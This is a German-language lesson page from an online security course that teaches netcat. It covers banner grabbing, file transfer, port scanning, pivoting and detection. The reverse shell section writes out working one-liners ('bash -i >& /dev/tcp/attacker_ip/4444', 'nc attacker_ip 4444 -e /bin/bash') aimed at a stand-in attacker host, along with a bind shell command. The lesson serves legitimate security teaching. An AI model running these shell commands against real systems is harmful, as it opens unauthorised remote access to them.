Cyber Security Academy · Lektion

Netcat: Das Schweizer Taschenmesser

Verwenden Sie nc für Banner-Grabbing, Dateiübertragungen, Portweiterleitung und einfache Reverse Shells.

Netcat: Das Schweizer Taschenmesser ist eine kostenlose Cyber Security Academy-Lektion auf CoddyKit. Dies ist Lektion 3 von 4. Du kannst die komplette Lektion unten kostenlos lesen – dann übst du sie direkt im Browser mit einem integrierten Code-Editor und einem KI-Tutor rund um die Uhr. Sie ist Teil des Cyber Security Academy-Lernpfads, und dein Fortschritt wird über Web und CoddyKit-App synchronisiert. Der Cyber Security Academy-Kurs umfasst insgesamt 4 Lektionen.

Was ist Netcat?

Netcat (nc) ist ein Dienstprogramm zum Lesen und Schreiben von Daten über Netzwerkverbindungen mit TCP oder UDP. Es ist auf nahezu jedem Unix-System installiert und für die Fehlersuche, Dateiübertragung und grundlegende Exploitation äußerst nützlich.

Grundlegende Verbindung und Banner-Grabbing

Verbinden Sie sich mit einem beliebigen TCP-Port, um das Service-Banner abzurufen und manuell mit dem Protokoll zu interagieren. Dies ist die einfachste Form der Aufklärung.

# Connect to port 80
nc 192.168.1.100 80
GET / HTTP/1.0
[Enter twice]

# Connect to SMTP
nc mail.example.com 25
# Returns: 220 mail.example.com ESMTP

Auf einem Port lauschen

Netcat kann mit -l -p auf eingehende Verbindungen lauschen. Das ist nützlich zum Testen der Konnektivität, zum Abfangen von Reverse-Shells und zum Empfangen von Dateien.

# Listen on port 4444
nc -lvnp 4444

# -l listen
# -v verbose
# -n no DNS resolution
# -p port number

Dateiübertragung mit Netcat

Netcat kann Dateien senden, indem Sie sie über eine Verbindung weiterleiten. Der Empfänger lauscht und leitet die Ausgabe in eine Datei um. Es gibt keine Verschlüsselung — verwenden Sie dies nur in vertrauenswürdigen Netzwerken.

# Receiver (runs first):
nc -lvnp 4444 > received_file.txt

# Sender:
nc 192.168.1.10 4444 < file_to_send.txt

Port-Scanning mit Netcat

Netcat kann mit -z (Modus ohne Ein-/Ausgabe) und -w (Timeout) einfache Port-Scans durchführen. Es ist langsamer als Nmap, aber nützlich, wenn Nmap nicht verfügbar ist.

# Scan ports 20-80
nc -zv 192.168.1.100 20-80 2>&1 | grep succeeded

# With timeout:
nc -zvw2 192.168.1.100 22 80 443

Einfache Reverse-Shell

Bei einer Reverse-Shell verbindet sich das Ziel zurück zum Angreifer. Das ist bei Penetrationstests nützlich, wenn Firewall-Regeln eingehende Verbindungen zum Ziel blockieren.

# Attacker listens:
nc -lvnp 4444

# Target executes (bash):
bash -i >& /dev/tcp/attacker_ip/4444 0>&1

# Or via nc:
nc attacker_ip 4444 -e /bin/bash

Bind-Shell

Eine Bind-Shell lauscht auf dem Zielsystem. Der Angreifer verbindet sich mit ihr. Bei modernen Pentests kommt sie seltener zum Einsatz, da Firewalls eingehende Verbindungen normalerweise blockieren.

# On target: listen and serve a shell
nc -lvnp 5555 -e /bin/bash

# On attacker: connect
nc target_ip 5555

UDP-Modus

Verwenden Sie -u für UDP-Verbindungen. Das ist nützlich zum Testen von UDP-Diensten wie DNS (Port 53) und SNMP (Port 161).

# Test DNS over UDP
nc -u 8.8.8.8 53

# Test SNMP
nc -u 192.168.1.1 161

Proxying mit Netcat

Netcat kann Verbindungen verketten, um über Netzwerke zu pivotieren. In Kombination mit Named Pipes (mkfifo) lassen sich einfache bidirektionale Tunnel ohne zusätzliche Tools erstellen.

mkfifo /tmp/pipe
nc -lvnp 4445 < /tmp/pipe | nc internal_host 80 > /tmp/pipe

Ncat: Die moderne Alternative

Ncat (Bestandteil von Nmap) erweitert Netcat um SSL-Unterstützung (--ssl), Zugriffskontrolle und den Broker-Modus. Verwenden Sie für verschlüsselte Kanäle bevorzugt Ncat.

# SSL listener
ncat --ssl -lvnp 4444

# SSL connect
ncat --ssl target_ip 4444

Verteidiger: Netcat erkennen

Netcat-Verbindungen sehen wie normale TCP-Verbindungen aus. Verteidiger erkennen sie durch die Überwachung von Prozessnamen (HIDS), ungewöhnliche ausgehende Ports und Shells, die von unerwarteten übergeordneten Prozessen gestartet werden.

Kurztest

Welches Netcat-Flag aktiviert den Lauschmodus?

Zusammenfassung: Netcat

Netcat ist ein grundlegendes Tool: Verwenden Sie es zum Abrufen von Bannern, zur Dateiübertragung, zum Testen der Konnektivität und zum Verständnis der Funktionsweise von Reverse- und Bind-Shells. Bei autorisierten Pentests überprüft es Firewall-Regeln und simuliert das Pivotieren eines Angreifers. Machen Sie sich gut damit vertraut — sowohl um es einzusetzen als auch um es zu erkennen.

Häufig gestellte Fragen

Ist die Lektion „Netcat: Das Schweizer Taschenmesser“ kostenlos?

Ja — der vollständige Text von „Netcat: Das Schweizer Taschenmesser“ ist hier im Web kostenlos zu lesen. Um sie interaktiv zu üben (integrierter Code-Editor und 24/7 KI-Tutor) und den Rest des Cyber Security Academy-Kurses freizuschalten, upgrade auf CoddyKit PRO. Der Cyber Security Academy-Kurs umfasst insgesamt 4 Lektionen.

Was lerne ich in „Netcat: Das Schweizer Taschenmesser“?

Verwenden Sie nc für Banner-Grabbing, Dateiübertragungen, Portweiterleitung und einfache Reverse Shells. Du übst Cyber Security Academy mit praktischem Code, den du direkt im Browser ausführst, und ein 24/7 KI-Tutor beantwortet deine Fragen während du die Lektion bearbeitest.

Brauche ich Erfahrung, um Cyber Security Academy zu starten?

Keine Vorkenntnisse erforderlich. Cyber Security Academy auf CoddyKit ist für Anfänger bis fortgeschrittene Lernende strukturiert, sodass du hier starten oder von Anfang an beginnen und in deinem eigenen Tempo voranschreiten kannst. Dies ist Lektion 3 von 4.

Wie lange dauert die Lektion „Netcat: Das Schweizer Taschenmesser“?

Die meisten CoddyKit-Lektionen dauern etwa 5–10 Minuten. Jede ist kompakt und interaktiv, sodass du stetig Fortschritte machst und genau dort weitermachst, wo du aufgehört hast – im Web und in der App.

Kann ich in dieser Cyber Security Academy-Lektion Code schreiben und ausführen?

Ja. Jede Cyber Security Academy-Lektion enthält einen integrierten Code-Editor, sodass du echten Code direkt in deinem Browser schreibst und ausführst und sofort KI-Feedback erhältst — ohne lokale Einrichtung erforderlich.

Alle Lektionen in diesem Kurs

Techniken zum Scannen von Nmap-Ports
Dienst- und Betriebssystem-Fingerprinting
Netcat: Das Schweizer Taschenmesser
Skripting zur Netzwerk-Enumeration

← Zurück zu Cyber Security Academy